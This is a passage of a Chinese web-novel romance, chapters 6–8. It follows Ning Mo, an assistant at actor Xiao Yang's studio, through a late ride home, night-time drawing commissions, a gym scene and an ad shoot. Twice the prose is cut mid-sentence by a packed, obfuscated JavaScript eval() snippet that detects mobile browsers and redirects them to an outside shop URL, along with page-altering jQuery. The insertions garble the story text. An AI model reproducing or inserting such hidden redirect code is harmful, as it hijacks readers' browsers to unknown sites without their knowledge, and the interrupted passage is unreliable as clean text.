“路边汪汪叫的狗我们总不能也汪回去吧！而且我跟你说，我在外面的时候听到很多明星工作室的人都在吐槽姜明辰，哈哈！他惹了众怒了！迟早翻车！” “……”宋依依一口气说了太多的话，宁茉甚至没能找到一个机会插上一句，原本紧张的心情也被她哄得一点点放松下来，脸上终于有了笑容，“我真的没事，早就不生气了。” 萧扬挡在她身前的那一刻，所有的委屈和怨愤都已经烟消云散了，宁茉在那一瞬间只是有点庆幸，庆幸自己选择了来到这里。 她转头看向窗外，萧扬送走陈昌后走了回来，站在车边没有动，目光看向不远处。 宁茉愣了几秒，突然反应过来，打开车门下了车。 她拉开主驾驶的门，正要上车时，却突然被一只修长有力的手拦住了：“等等。” 6. 第 6 章 宁茉一怔，转头看向萧扬，萧扬的侧脸在夜色中显得格外好看，下颌线折角清晰，一双桃花眼勾魂夺魄，让人不敢直视。 她移开目光，听到萧扬浅淡磁性的声音：“不用你开车，浦世诚来了。” 宁茉听到这句话，顺着萧扬的目光看过去，这才看到不远处一个高大的身影正向他们走来。 宋依依已经惊喜地喊出声：“浦哥！你来啦！” 浦世诚笑着走到宁茉身边：“今晚的事情我都听说了，你受委屈了，等会儿给你发个大红包。” 宋依依伸出个小脑袋，满眼期待：“浦哥，我有没有？” 浦世诚被她逗得直笑：“有有有，两个都有，你们今天辛苦了，熬到现在，走，回去吧！” 宁茉看了看副驾驶的宋依依，又看了看已经坐在后排的萧扬，犹豫了几秒，绕到了车的另一边，打开车门上了车，坐到了萧扬的旁边。 时间已经是深夜一点半，一向繁华的南江区此刻也寂静下来，路上的车很少，车内也十分安静。 萧扬似乎有点累了，靠着椅背闭目养神，原本还叽叽喳喳的宋依依也困了，在前排睡的东倒西歪。 宁茉没有困意，打开微博搜了几个围读会的关键词，发现并没有关于今天这段争吵的任何消息，只有几个明星工作室放了点工作照，仿佛一切都很正常。 看来大家心照不宣地隐瞒了今晚的冲突。 松了口气，宁茉放下手机，转头看向窗外，车辆正行驶在跨江大桥上，桥下江水波光粼粼，在夜里反射出江边的建筑倒影，像一层层有序堆叠的颜料，映出绚丽夺目的色彩。 荣城是个经济发达的地方，消费高，房租也高，宁茉租的是个离工作室近的单身公寓，一室一厅一卫，面积很小、环境也一般，但胜在位置好。 租房开销很大，一个月房租要四千，占了工资的一半，加上吃饭日用，几乎剩不下什么钱，好在宁茉之前那两年工作的钱大部分都攒了下来，还够她在荣城生活，但也是只出不进，财务状况依旧堪忧。 其实宁茉也从来没有想过自己有一天会来荣城，在她原本的生活轨迹中，荣城是个遥不可及的词，是偶尔想起来可以来旅游的地方——即便如此，一次也要准备很多钱，才能愉快地游玩一次。 离职前的两个月，宁茉在无数个深夜里，靠坐在床头思考，要不要辞职，要不要换个环境，辞职以后去哪里，靠什么挣钱，怎么生活。 她从小在莫城长大，初中、高中、甚至大学都是在莫城上的，对莫城熟悉的不能再熟悉，父母、亲戚、朋友，所有人都离得很近，仿佛一个牢不可破的圈子，在圈子里就意味着绝对安全。 她一次次给自己预设离职的理由和之后的打算，又一次次推翻这个预设，现实生活像一张无形却密不透风的网，她明明没有被什么束缚，可就是感觉到喘不过气，焦虑感和失落感始终笼罩着她，让她无法专心眼前的一切。 提交离职申请书的那一天，是很平常的一天，她走进经理室，把离职申请放到经理面前，经理笑眯眯地拿起来看，以为是她新做的方案，直到看清标题的四个大字，才整个人愣住了。 那之后，她要离职的消息传遍了整个公司，所有人都来问她，无数个震惊和疑惑接踵而来，宁茉神情自然，只是笑着告诉他们自己打算换份工作。 领导再三挽留，提出了涨薪调休换岗好几种方案，都被宁茉拒绝了，她说话时柔声细语，态度却十分坚定，最终公司按规定给了她补偿金，宁茉如愿离了职。 对父母的交代是另一个难题，宁茉用“经济不景气、公司要裁员、主动离职能多拿赔偿金”这样的说话糊弄过去，父亲要给她安排到亲戚的公司，宁茉也拒绝了。 她说自己想先出去走走，休息几个月，之后再找新工作。 她一向乖巧听话，除了在相亲这件事上比较叛逆，其他时候都十分让父母安心，于是他们轻松地同意了她的想法，还帮她参考哪里适合这个季节旅游。 母亲问她要不要一起，担心她一个人出去不安全，宁茉淡淡地笑了笑，告诉母亲她已经二十四岁了，不再是小孩子了。 她收拾了两箱行李，把家里属于自己的细碎东西都收了起来，在一个风和日丽的午后，推开家门走了出去，坐上了去荣城的车。 …… 来萧扬工作室参加面试是一个有些任性的想法，如果工作室不要她，她会去找个山清水秀的小城，随便找一份不忙的工作，慢悠悠生活一段时间，再想之后的计划，至于之后的录取，则纯粹是一个意外。 而且宁茉发现，当她真的走出了这一步时，心反倒安定了下来，不再焦虑，连路边的一棵小草都觉得可爱。 宁茉想得入神，连车开进地下车库了也不知道，萧扬开门下车前看了她一眼，神情微怔，大概是以为她那么安静是睡着了，却没想到宁茉扭头看着窗外，眼底满是清醒。 浦世诚怕吵醒宋依依，降下车窗小声开口：“明天九点王墨来接你，拍摄十点开始。” “八点，”萧扬语气冷静，“我要先健身。” “……”浦世诚的脸上顿时满是痛苦，“你一定要这么卷吗？” “你也一起。”萧扬说完就转身离开，浦世诚哀叹了一声，重新启动车辆，离开了地库。 浦世诚又将宋依依送到家，宋依依迷迷糊糊睁开眼下了车，又摇摇晃晃地上了单元楼，宁茉抬眼看着依次亮灯的楼道，确认宋依依回了家，才和浦世诚离开。 “浦哥，我就住在工作室附近，你在前面找个路口把我放下就好了，我自己回去。”宁茉说道。 “那怎么行？这都两点了，我一定得把你安全送到家，”浦世诚说，“你们今天是第一次跟萧扬出来，可能不习惯，他这个人对不熟的人一直这样，不怎么搭理，你们别介意，等以后熟了就好了。” “嗯，没关系。”宁茉笑了笑，丝毫没有介意的意思。 她在这方面还是了解萧扬的，对不熟的人萧扬表现一向冷淡，可一旦这个人被划归为“自己人”的范畴，萧扬就会变成另一种样子。 宁茉想到这样，又忍不住想道，不知道自己什么时候能被萧扬划进“自己人”的范畴呢？——可能到了实习结束都不能吧，毕竟他那样的性格，是很难去亲近一个人的。 “对了，工作群里黑色头像那个就是萧扬，你回头记得加下他微信。” 宁茉一怔：“可以加吗？” 浦世诚顿时乐了：“当然可以，为什么不行？” 宁茉还是觉得有点惊讶：“是……他个人的微信还是工作微信？” 浦世诚笑得更开心了：“个人，萧扬只有一个微信号。” 宁茉依言去翻工作室的群，果然在里面看到一个黑色头像的人，点开一看，其实不是全黑，是拍的一张夜空照，漆黑的夜空中只有一颗星星，闪烁着微弱的光。 宁茉点击了好友申请，备注了自己的名字，盯着界面看了一会儿，却没有收到任何回应。 ……难道刚才点错了？ 宁茉返回去看了看申请界面，又重新点击了一次申请，随后静静地看着手机界面，直到浦世诚停下了车：“到了，快回去睡吧，今天辛苦了！” 宁茉这才恍然醒来：“哦！好……谢谢浦哥！” …… 到家后，宁茉第一时间走到阳台，打开窗户看向楼下，浦世诚果然还没有走，正在抬头看着她这一层，宁茉朝他挥手示意，浦世诚这才看到她，潇洒地挥挥手，转身上了车，启动车辆离开。 深夜的小区再度恢复宁静，宁茉望着窗外发了一会儿呆，突然想起来忘了和浦世诚说谢谢，翻出手机一看，和浦世诚的对话框里竟然早已有了两条消息。 [浦世诚：今天辛苦了] [浦世诚：（转账信息——?500）] 宁茉一愣，这才想起浦世诚上车前的那句话“等会儿给你发个大红包”——原来不是客气，浦世诚是真的要给她们发钱。 愉快地点了收款，宁茉组织了一下语言，非常认真地回复了几句后，放下手机开始洗漱。 她换掉身上的衣服，将换洗衣服塞进洗衣机，随后坐到了沙发上。 时间已过两点，屋子里除了一盏暖黄色的灯，再没有其他的光源，宁茉蜷在沙发上，放空了一会儿思维，目光看向洗衣机上面的指示灯。 衣服洗好还需要半个小时，家里也都打扫干净了，似乎没什么需要她再做的事情。 平板之前放在沙发上充电，走的时候忘了拔，宁茉拔掉充电口，打开平板，映入眼帘的是一副画到一半的画——宁茉早上画到一半就匆匆出门了，连APP都忘了关。 那是一张非常漂亮的水彩风人物画，画里的少年背着吉他，走在一条樱花飘落的小道上，地上是被夕阳余晖拉长的影子，画面色调清新唯美，只是细节还没来得及细化。 宁茉伸手在沙发上摸了半天，找到了触控笔，开始继续完善这幅画。 用板子画画这项技能是她上大学后才点的，宁茉小时候喜欢画画，总是把图画本涂得花花绿绿，偏偏又画的新鲜好看，连老师都夸她天生是做画家的料。 小学时，宁茉画的一副水彩还被学校推荐到市里参加美术比赛，得了一等奖，拿了一千块钱的奖金。 那个年代的一千块是非常厉害的奖励，报一年的画画班费用也不过一百元，小宁茉高高兴兴地捧着装着钱的信封和奖状回家，背包里是同学们塞得鼓鼓囊囊的糖和礼物，她自豪地抬起头，告诉爸爸妈妈自己拿了一等奖，老师们还说要她报画画班，如果画的好，可以推荐她去跟着一位有名的画师学习。 想象当中的夸奖并没有到来，父亲冷着脸收了她的奖状和奖金，告诉她以后要好好学习，不要花心思在这些无用的东西上，至于什么画画班也都是骗钱的，不会让她去的。 小宁茉大哭了一场，母亲给她做了一锅排骨烧豆角安慰她，她一口都没有吃，坐在客厅一个人哭到了深夜，父亲却始终没有松口。 最终她没能如愿学到画画，只能在繁重的学习间隙自己随手涂涂画画，一直到上了大学、做了半年的兼职，才攒出一千块钱报了网课，学习了基础的手绘课。 也许是天赋好，宁茉的学习进度超乎想象，画的越来越好，将作品发到网上收获了不少点赞，私信里堆满了找她约稿画头像的人。 宁茉刚开始没什么自信，觉得自己的画还没达到可以接稿的水平，直到离职前的半年她才开始接稿，想着也许能靠画画挣一点生活费。 洗衣机的完毕提示音响了又响，宁茉却专注在画里没有听到，直到洗衣机超时自动熄灭，屋子里彻底安静下来，只有触控笔在平板上划过发出的沙沙声，还有偶尔有水流经过厨房水管时的微弱水声。 这个屋子里只有她一个人，也就成了她自己的天地，现实里所有的烦恼、困扰，此刻都被拦在了屋子外面，宁茉心无旁骛，只想专心画好眼前这幅画。 时间一分一秒过去，画上的细节愈发清晰，少年脸上是夕阳映下的光，双眼明亮，身后飞过一只自由的雁，画面温暖又鲜艳。 宁茉画好最后一笔，点了导出保存，欣赏了一会儿画，才猛然想起来自己忘了晾衣服。 她慌慌张张起身，又在起身后一屁股坐了回去：保持同一个姿势太久，突然起身时眼前有些发晕，眼底还有星星在绕。 宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406808|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茉扶着沙发稳住，缓了一会儿才慢慢走到阳台，把洗衣机里半干的衣服搭出来，回到了卧室。 卧室的床头灯是花朵形状的，像一朵朝下的郁金香，散发着暖黄色的光，床单和被子也是暖黄色的，在深秋显出一丝温暖来。 宁茉将自己埋到被子里，习惯性地蜷成一小团——这是她惯常的睡姿，像个缩起来的刺猬，很有安全感。 房间的隔音效果并不好，但此刻已是深夜，周遭没有任何声音，宁茉闭上眼，清晰地听到自己的呼吸声，她放缓呼吸速度，打算睡一会儿，又控制不住地又回想起白天一天发生的事情，当萧扬那张精致冷淡的脸猛地浮现在脑海中时，宁茉浓黑的睫毛微颤，她又缓缓睁开了眼睛。 房间里除了床头灯没有其他的光源，但这一点光亮已经足够照亮周围，她盯着床头那盏灯看了许久，终于还是睡意全无。 重新坐起来，摸出压在枕头底下的手机，她翻到了微博界面。 她曾经有很多微博小号，主要用来追星看动态，后来她不再打开微博，那些账号密码几乎都忘了个干净，只剩下两个账号，一个用来发绘画作品，一个用来发点有的没的动态。 投给萧扬工作室的简历，就是用那个时不时发点动态的小号发的。 萧扬的粉丝只有十三万，最多的时候有二十多万，这三年由于没有新作品播出掉了不少，微博也许久没有过动态。 宁茉先是习惯性地给萧扬几条微博都点了赞，随后开始认真地看他之前的动态。 她是从大四实习开始不再关注萧扬的，那时每天都在想着找工作的事情，找到工作后又被迫跟着同公司的人一起卷，娱乐爱好都搁置在了一遍。 连带着对萧扬的爱也隐藏了起来，像是把一个曾经美好的梦封存起来，原先的满腔热情也慢慢冷静，开始以欣赏的眼光去看待他，越是这样，宁茉越发觉得萧扬是个很厉害的人。 他积极又自律，从不放弃身材管理，大量学习表演相关的知识，看了几乎每一部经典的影视剧，还自学了多种乐器，唱歌、跳舞……点亮了很多技能，像一个永远不知道疲倦的人形机器，有充足的动力不断前进。 宁茉常常会诧异，世界上怎么会真的存在这样的人，难道萧扬就不会累、不会想要放弃吗？ 因此在很多时候，在宁茉想要自暴自弃的时候，都会不自觉地想起萧扬，然后再有了一点小小的动力——哪怕能做到萧扬的十分之一呢？ 也是凭借着这股念头，她的工作业绩越做越好，接连三个季度都是公司业绩最高的，奖金拿到别人眼红，如果她不离职，下一个主管位置也会是她的。 …… 看完了这几年萧扬微博上寥寥无几的动态，宁茉切回到主页，发了一条微博。 “踏入了全然未知的新领域，希望一切顺利。” 之后她切换了微博号，找到画师号，在私信界面翻到那个约稿的人，把新画好的作品发了过去。 [茉莉无声]：你好，你的约稿画好了，你看看这样行不行，背景我加了一点色彩，不喜欢的话可以去掉。 [茉莉无声]：还有一个夜晚版本的，一起发给你。 发完刚准备关掉手机，冷不防对面的人已经有了回复。 [大橘为重啊]：？？？！！！！！！！！！ 宁茉一愣，不太明白对方这个反应是什么意思。 随后，手机突然开始疯狂震动起来。 [大橘为重啊]：我的天老爷啊！！这构图！！这色彩！！！ [大橘为重啊]：啊啊啊啊啊啊啊啊啊这是什么神仙画师！ [大橘为重啊]：太太我约的是半身啊啊啊啊您怎么画了全身啊啊啊啊！！还有这么好看的背景！还给了我两个版本！ [大橘为重啊]：给太太磕头了！太太您真是菩萨！哐哐哐！ “……” 宁茉被对方逗笑了，无声地笑了好一会儿才开始回复。 [茉莉无声]：那还有什么要改的地方吗？ [大橘为重啊]：没有没有没有！太完美了太太！这张图真的只收我300吗？是不是太低了，您考虑考虑涨价吧！质量太高了！ [大橘为重啊]：对了太太你后面还有档期吗？我想再约两张可不可以呀~还是这个人物，就要这样全身带背景的，500一张可以吗？ [茉莉无声]：可以接，不过我最近换工作了有点忙，可能交不了那么快哦。 [大橘为重啊]：好好好！太太换工作了嘛？难怪起的这么早！！ 宁茉一看表，这才发现竟然已经将近六点了，这是往常她的起床时间。 无奈地从床上起身，宁茉简单收拾了一下床铺，她又坐到了沙发上，打开平板开始画画。 大学时，清晨和深夜是宁茉最喜欢的绘画时间，因为没有什么别的事情会打扰她，室友们都睡了，手机里也收不到一条消息，宁茉喜欢躲在被子里，用一晚上慢慢画一张画，专心到像是进入了另外一个世界。 而且画画没什么声音，也不会打扰到别人，因此她大学画了四年，室友们却都不知道这件事。 宁茉重新勾勒了少年的轮廓，想到对方又约了两张稿，那么算起来这三张图的收益就已经有一千三了，也许这么一直坚持着画下去，她真的能靠画画养活自己。 到时候，她就天南海北地去逛，去不同的城市居住，再也不回来了。 想的入神时，手机却突然“叮铃”一声响了，是微信的消息提示。 ……现在才早上六点多，怎么会有人给她发消息？ 拿起手机，宁茉一怔，是好友添加提醒。 萧扬通过了她的好友申请。 7. 第 7 章 之前等了一晚上没动静，宁茉都要放弃了，觉得萧扬多半不会加她，却没想到会在早上收到他通过好友的消息。 宁茉对着对话框组织了一会儿语言，发了一句“你好，我是宁茉，加个微信方便联系[爱心]” 对方并没有回复。 宁茉：“……” 不出所料的发展呢。 宁茉放下手机，定了一个八点二十的闹钟，随后继续勾勾画画，很快就有了初步的草图，恰好此时闹钟也响了，放下平板，她揉了揉低头太久而开始发酸的脖子，起身开始换衣服。 从住的地方到工作室需要走二十分钟，还可以有十分钟吃早餐。 宁茉换了一身衣服，依旧是黑衣黑裤，头发利落地梳了个马尾，八点半准时背着背包出了门。 路上会路过一个学校，门口摆满了临时聚集的小摊贩，宁茉凑到一个煎饼果子摊前点了餐，拿出手机打算付款。 这时她才发现，微信上萧扬竟然不知何时回复了，虽然只有一个字。 [萧扬：嗯。] “……嗯？”宁茉盯着这个字看了几秒，眨眨眼，没忍住笑出了声。 真的很高冷啊，萧扬。 “呦美女，一大早这么开心呀？”煎饼摊的小哥笑眯眯地看着她。 “是啊，”宁茉随口答道，“要去上班了嘛。” 小哥手一抖，鸡蛋差点磕出圆盘外面：听说过放学放假开心的，还没听说因为上班开心的，这个清秀的女孩是上班压力太大，终于疯了？ …… 宁茉拿到早饭，一边吃一边慢慢往工作室走，走到楼下时，却突然意识到一个问题：三楼并没有亮灯，她来得太早了，工作室还没开门。 宁茉不死心地走上楼，望着紧闭的大门，承认现实地给浦世诚打了个电话，电话那头却无人接听，她只好又给孙尚万打了过去。 孙尚万倒是很快就接了：“宁茉？” “孙哥，工作室还没开门。” 孙尚万立刻就反应过来：“密码是718267，直接开门就行了。” “好的，谢谢孙哥。” 开了门，一个橘黄色的小身影就蹲在门边，看到宁茉进来，喵喵叫了两声。 “山山，你是不是饿了呀？”宁茉放下包，走到猫窝旁边给猫咪的饭盆加猫粮，小橘猫立刻凑过来，先是大口吃了几口，才看向宁茉，又喵喵叫了两声。 宁茉伸出手背，山山立刻凑过来，像前几天那样用头蹭她的手，宁茉手一翻，手心里躺着几颗冻干。 这样哄猫的办法总是百试不厌，山山吃完那几颗冻干后对宁茉好高度再次暴涨，盘桓在她脚边蹭来蹭去，全然没有了初见时的高冷和防备。 宁茉逗着猫的空隙，工作室陆陆续续来了人，先是王墨给车加油回来了，又是孙尚万和霍妍前后脚到了工作室。 霍妍见到宁茉的时候微微愣了一下，脱口而出：“你怎么来了？” 宁茉顿时一愣，不明白霍妍这句话是什么意思：“啊？” 霍妍这才反应过来：“哦……抱歉，我忘了通知你了，你和依依昨晚辛苦了，今天早上应该休息一上午的。” 孙尚万笑出了声：“所以你只通知了宋依依？太偏心了吧霍姐。” 他语气明显是在开玩笑，霍妍却真的有点脸红：“……抱歉，我真的忘了，我以为我也给你发了消息，那你回去休息吧。” 宁茉摇摇头：“没关系，我不困，而且反正我也来了，就不用回去了。” 霍妍却坚持道：“应该给你补休的。” 孙尚万笑道：“好啦，人家都来了再让她回去多麻烦，下次多补半天不就行了。” 霍妍皱了下眉：“……好吧。” 宁茉揉着山山的小脑袋，眼底却带了些感动，她对霍妍的印象和萧扬差不多，总是冷冰冰公事公办的态度，没想到会因为这种小事向她道歉，还会坚持着要弥补她。 孙尚万又问道：“霍姐，上午的拍摄是几点的？” “九点半出发，”霍妍回道，“王墨跟着……呃，宁茉也一起吧。” 她看向刚给山山添了罐头的宁茉：“今天要拍一个公益广告，你跟着熟悉下拍摄流程。” 宁茉立刻干脆应答：“好！” 孙尚万则看向宁茉手里的罐头：“这罐头我怎么没见过？是我买的吗？” “不是，”宁茉笑眯眯回道，“是我在附近的便利店买的，给山山的加餐。” 孙尚万啧了两声：“难怪这小猫现在只听你的话，你对它真够好的。” “对了，”霍妍又想到什么，补充道，“萧扬和浦世诚应该还在二楼健身，你们提醒他们一下，要出发了，及时回来换衣服。” “好。”王墨应了一声。 宁茉跟着王墨走出工作室，问道：“他们在二楼的健身室吗？” “是呀，萧扬每天早上都会在二楼健身，”说到这里，王墨深深地叹了口气，“他真是太自律了。” 为了接萧扬，王墨也不得不跟着早起，每天都困得不行：“不过我还算好的，浦哥……” 王墨说到这里，突然没忍住笑了一声，不继续往下说了。 宁茉好奇起来：“浦哥怎么了？” 王墨朝健身室扬了下下巴：“你进去看看就知道了。” 私人健身室里只有两个人，健身室早上十点开门，但由于萧扬总是早上健身，浦世诚和健身室商量后干脆拿了一把钥匙放在工作室里，方便他们使用。 宁茉刚推开门，就听到浦世诚痛苦的嚎叫：“不行不行不行，我举不动了！” 另一个声音略带着些冷淡，但又莫名能品出几分看热闹的意味来：“省点力气说话，还能多坚持一会儿。” “你健身……为什么一定……要我一起啊……”浦世诚举着杠铃，脸憋得通红，嘴上却还不忘了怼他，“我又……不用上镜！” 萧扬颇为悠闲地背靠在另一边的柱子上，抱着双臂垂眸看他：“以我们现在的工作强度，你不健身是撑不住的。” “你也……知道……强度大……”浦世诚艰难又颤抖地把杠铃推回了原地，豆大的汗珠从脸上滑落，“要是我哪天猝死了……抚恤金从你工资里出！！！” “……你是老板，竟然要我一个员工出抚恤金，”萧扬耸了耸肩膀，一脸无辜，“不合理吧。” “你！……”浦世诚显然怼不过他，气的又呼哧呼哧举了两下杠铃，“你就说吧，谁能说的过你啊！” 宁茉在角落围观了全程，脸上带了点惊讶。 这是她第一次见到萧扬这个样子，全然地放松，穿着黑色的无袖健身衣，宽肩窄腰，透过健身衣隐约看得到腹部的八块腹肌，肩膀上的肌肉轮廓更是饱满又充满力量，脸上没有任何妆，头发也没怎么打理，五官却依旧精致夺目，随便往那里一站，就是一道风景。 怎么能有人能连健身都像是在拍海报啊。 他和浦世诚聊天时，也不再是之前那种冷淡沉稳的神态，眉眼隐约带着笑意，让宁茉想起萧扬刚出道时的少年青涩模样。 也许萧扬本来就是这样的性格，只是这五年在娱乐圈的经历让他情绪不再外露，变得深沉、冷淡。 萧扬不经意偏头，余光便看到一个人影正站在健身房门口看着自己，目光专注。 他眸光微顿，挺直腰背，伸手把压在浦世诚身上嗷嗷叫唤的杠铃拿起来，轻松地放回了架子：“时间到了，我先去洗澡。” 说完他转头看了宁茉他们一眼，随后转身去了舆洗室。 浦世诚则艰难地撑着自己坐起来，呼哧呼哧地喘气。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406809|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >王墨和宁茉走了过来：“浦哥。” “来了，”浦世诚朝他们点点头，头上的汗不停下落，宁茉递给他一张纸，他接过就往脸上团，“我快累死了，得歇歇，上午的行程我就不跟了，你们直接和萧扬一起去吧。” 王墨：“好，拍摄一天吗？” 浦世诚摇摇头：“一上午，下去还得去围读会……” 说到这里他犹豫了一下，看向宁茉：“下午的围读会你就不用跟了，霍妍刚才发消息说让我给你放半天假。” 宁茉点点头：“……好。” 她不知道这是谁的决定，但对她而言很贴心，毕竟昨晚刚和姜明辰起过冲突，今天去了难保不会再出什么风波，干脆避开更好。 二十分钟后，萧扬坐上商务车，三人前往荣城中心区。 宁茉坐在副驾驶，先是看了一眼坐在后排的萧扬，萧扬今天穿的很休闲，蓝黑渐变色的套头毛衣搭配黑色的裤子，身上没有任何多余的首饰，显得干净又清爽，头发刚洗过还没完全吹干，几捋碎发搭在额前，带着些随意放松。 他侧着脸看向窗外，不知道在想什么，宁茉隔着后视镜看了一会儿，收回目光，低头看起浦世诚发给自己的行程。 与此同时，始终偏过头看窗外的萧扬转头，隔着后视镜看了宁茉一眼。 宁茉今天也是一身黑色，她似乎不喜欢鲜艳的颜色，头上也没有多余的装饰，简单地绑了个马尾，一双漂亮眼睛专注地低垂，露出一小段白皙的脖颈。 宁茉身上唯一的装饰就是左手腕带着的一串白色菩提，看起来是很大众的款式，像随手在寺庙门口买的，珠串随着动作往手臂下面滚，愈发衬得她手腕细瘦。 萧扬盯着她的手腕看了一会儿，很轻地皱了下眉。 和三年前相比，她似乎更瘦了。 …… 车在南黄集团公司大楼前缓缓停下，早有人等在门口接引。 萧扬和宁茉下了车，跟着工作人员往电梯走。 萧扬过来这里是要拍摄一个公益广告，内容是南黄集团定的，结合之前南黄集团投资《如意环》的事情来看，大概是萧扬拉到了南黄的赞助，代价是无偿帮他们拍摄一个系列的公益广告。 不过宁茉还是有些不解，南黄一向是无利不起早，萧扬这几年在娱乐圈可以说几乎没什么热度，南黄集团怎么会突然对他感兴趣？甚至还给了这么大手笔的投资？ …… 南黄总部大楼有二十六层，广告拍摄在十七层，宁茉把位置发给去停车的王墨，随后跟着萧扬走进了摄影棚。 “萧扬！这里这里！” 化妆师热情地迎上来，同时又有几个工作人员围上来，一瞬间就把宁茉挤到了一边。 “群演已经到位了，萧扬做好造型就能开拍。” “萧扬本人真的好帅啊！” “哇原来他这么高！之前都不知道。” “不愧是南黄看中的男人，前途无量啊~我是不是应该提前要个签名？” 宁茉一愣，看着前面闹哄哄的人群，有些茫然地眨了眨眼：这些人都是从哪儿冒出来的？ 她艰难地跟着人群进了化妆间，却发现化妆间里的人更多，甚至看不到萧扬坐在哪里。 朝着化妆镜走了两步，一个戴着鸭舌帽的工作人员就不耐烦地看着她：“别往前挤，闲杂人等先出去。” “我……”宁茉还没来得及解释，那个人已经推着她们往外走。 “先出去先出去，太吵了。” “不是，等等！我是萧扬的……” 她开口的同时，另一道磁性的声线响起：“宁茉。” 化妆间内突然安静下来，所有人都看向萧扬。 萧扬却只是对着镜子，看向快被推到门口的宁茉，一眼不眨地开口：“过来。” 8. 第 8 章 戴着鸭舌帽的工作人员有些震惊地看了宁茉一眼，显然没想到眼前没什么存在感的瘦弱女孩子竟然是萧扬的助理。 宁茉顶着一众人注视的目光，突然有点尴尬，快步小跑到了萧扬身边，随便找个椅子一把坐了下来，小声回道：“来了来了。” 她动作带点慌乱地掏出手机，架在自拍杆上，对着镜子拍了起来。 ——制作今天广告拍摄的花絮vlog，也是她的任务之一。 萧扬嘴角扬起一个几不可见的弧度，又隔着玻璃看了宁茉一眼，随后才看向正在询问妆容意见的化妆师。 化妆间恢复了秩序，化妆师开始给萧扬上妆，造型师则将几套搭好的衣服推过来让萧扬挑。 宁茉看向那几套衣服，都是浅色系的，其中有一套奶白色的尤其好看，让宁茉想到第一次见到萧扬时的场景，一身白衣的少年双眼明亮地看着她、嘴角含笑，让人总能联想到很多温暖的词。 萧扬只看了那些衣服一眼，就垂下眼淡淡道：“随便。” 造型师脸上是明显的失望：“没有特别喜欢的吗？” “……”萧扬想了两秒，看向坐在右边的宁茉，“你觉得呢？” 宁茉没想到萧扬会突然看向自己，微微一惊：“我？” “嗯，”萧扬看着她的眼睛，语气淡然，“哪一套好看？” “……”宁茉眨眨眼，遵从了心底的选择，“第二套。” 她指向那套奶白色的衣服。 萧扬点点头：“好，那就这个。” 像是问了一个再寻常不过的问题，萧扬得到答案后就不再关注，反倒是周围的一圈人表情各异。 造型师看看宁茉，再看看萧扬，有些摸不着头脑，以往的艺人都很有主见，对造型要求复杂多变，他还担心自己搭的这五套造型萧扬都看不上眼，却没想到一个小助理就能决定萧扬的造型，而萧扬本人对此竟然也毫无异议。 好在宁茉选的这一套也是他最满意的一套，能恰到好处地呈现出萧扬性格中阳光的一面，也和公益广告的主题十分契合。 化妆师也有点惊讶，目光悄悄瞟了宁茉一眼，她曾经和萧扬合作过，并没有见过眼前这个女孩，也不知道这个人是从哪里冒出来的，但看起来萧扬似乎对她很好。 宁茉却根本没有注意到这些，她悄悄将镜头移过去，拉近拍了那一套奶白色的衣服，萧扬其实很适合白色，他皮肤白，穿白色会更显得纯粹干净，不过萧扬日常的衣服很少有白色的，只有早期刚出道的时候穿的多一些。 那是宁茉最怀念的时光，那个时候的萧扬又可爱又清新，会害羞地和一个粉丝打招呼，会深夜回复粉丝们的私信，完全不是现在这样杀伐决断的冷脸拽哥。 果然明星只有刚出道的时候最像个活人，宁茉看着镜子里的萧扬默默感叹道。 萧扬的目光很快就和她对上，看到对方眼底的惋惜，顿时有些疑惑：“？” 宁茉慌忙心虚低头，假装调整镜头，却被镜头里的萧扬吸引地愣了几秒神。 化妆师很明白萧扬的优势，打造的妆容整体非常干净，额前碎发弧度微卷，脖颈上戴了一条银色的项链，奶白色的衣服配上纯白的裤子，整个人的气质十分干净，垂眸看向别人时，简直像刚从西方油画里走出来的古希腊神明。 宁茉忙不迭举着自拍杆拍摄，给萧扬来了个全方位帅气特写。 周围不少人眼底也满是惊艳的光，造型师更是高兴地和萧扬合了好几张影，据说那件衣服是他自己设计的，所以看萧扬穿的好看会这么高兴。 化妆师最后调整好几根发丝，满意地鼓鼓掌：“底子实在是太好了，没有我发挥的空间。” 萧扬却对这些话充耳不闻，只是手指一转，收起一直拿在手里的手机，随后向宁茉的方向看去，对方正在检查手机里的视频，并没有对自己再多关注一眼——即使这套衣服是她自己选的。 “咚。”萧扬将手机倒扣在桌面上，声响微微大了些，不少人侧目看过来，他却毫不在意，起身大步朝着摄影棚走去。 宁茉抬头就只看到他的背影，和化妆师小心翼翼递过来的萧扬手机，愣了一下。 不知道是不是她的幻觉，她怎么觉得萧扬……有点不高兴？ 将手机塞到包里，宁茉跟着起身，移动到了摄影棚旁边。 萧扬一走过去就被另一堆人包围开始拍摄，宁茉看了看周围的布置，拍摄背景是个春节布置的小院子，入眼有大片的红色，有不少小孩子在玩玩具，还有一只超级可爱的白色小比熊在院子里蹦来蹦去。 宁茉看到那只小狗，顿时眼底一亮，走过去蹲下来：“这是你的狗吗？” 牵着狗的工作人员笑笑：“对啊，拍摄需要一只狗，我就把我家的抱过来用了，不过它今天见到这么多人有点兴奋，我都快拉不住了。” 仿佛要印证他的说法，小比熊朝着宁茉扑过来，两只前爪搭在宁茉的膝盖上，兴奋地吐着舌头，双眼亮晶晶的。 宁茉伸手揉了揉狗头，低头翻包，翻出了一小罐给山山买的肉罐头，询问对方：“它可以吃这个吗？” “可以，”对方有点惊讶，“你怎么会随身带罐头？” 